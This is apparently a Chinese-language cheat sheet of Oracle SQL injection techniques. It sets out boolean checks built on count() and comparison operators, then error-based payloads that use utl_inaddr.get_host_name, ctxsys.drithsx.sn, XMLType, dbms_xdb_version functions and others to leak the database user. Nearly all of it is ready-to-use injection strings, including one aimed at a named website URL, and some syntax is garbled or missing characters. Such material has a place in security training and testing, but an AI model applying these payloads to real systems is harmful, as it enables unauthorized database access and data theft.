判断注入

知识点

count()函数

count(*)将返回表格中所有存在的行的总数包括值为null的行,然而count(列名)将返回表格中除去null以外的所有行的总数(有默认值的列也会被计入)
简单的说就是返回当前表中有多少行
image.png

比较符

1=[报错语句]
1>[报错语句]
这样的方式进行报错注 入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式

函数利用

数据库语句:select FROM CLASSINFO WHERE CLASSID=88 and (select count () from dual)>0
select count (*) from dual查询出来的数字与小于符进行对比判断

数据库语句:select FROM CLASSINFO WHERE CLASSID=88 and (select count () from dual)>999
这里如果查询出来的数比999小,那么页面将不正常,显示错误

报错函数注入

utl_inaddr.get_host_name()

utl_inaddr.get_host_address() 也可以这样利用

说明

UTL_INADDR.get_host_name本意是用来返回环境中主机名
使用方法: utl_inaddr.get_host_name((sql语句))
列:select utl_inaddr.get_host_name((select user from dual)) from dual
网站链接:http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from
dual))—
image.png

版本限制

这种方法在Oracle 8g,9g,10g中不需要任何权限,但是在Oracle 11g以及以后的版本中,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限。

ctxsys.drithsx.sn()

说明

数据库语句:select * FROM CLASSINFO WHERE CLASSID=88 and 1=ctxsys.drithsx.sn(1,(select user from dual))
image.png

版本限制

暂时未找到与此相关函数,根据报错信息推测CTXSYS.DRITHSX.SN函数用于获取产品之SN,由于未找到以查询结果为名之产品,故报错。此方式需要安装CTXSYS包且对相关包有访问权限且Oracle版本为11g。如果你的结果是个有效的版本名,纯属运气问题。

XMLType()

说明

数据库语句:select FROM CLASSINFO WHERE CLASSID=88 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null
image.png
数据库语句:select
FROM CLASSINFO WHERE CLASSID=88 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null
image.png

dbms_xdb_version.checkin()

说明

数据库语句:select * FROM CLASSINFO WHERE CLASSID=88 and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
image.png

dbms_xdb_version.makeversioned()

说明

数据库语句:select * FROM CLASSINFO WHERE CLASSID=88 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
image.png

dbms_xdb_version.uncheckout()

说明

数据库语句:select * FROM CLASSINFO WHERE CLASSID=88 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
image.png

dbms_utility.sqlid_to_sqlhash()

说明

数据库语句:select * FROM CLASSINFO WHERE CLASSID=88 and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
image.png

ordsys.ord_dicom.getmappingxpath()

说明

数据库语句:select * FROM CLASSINFO WHERE CLASSID=88 and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)
image.png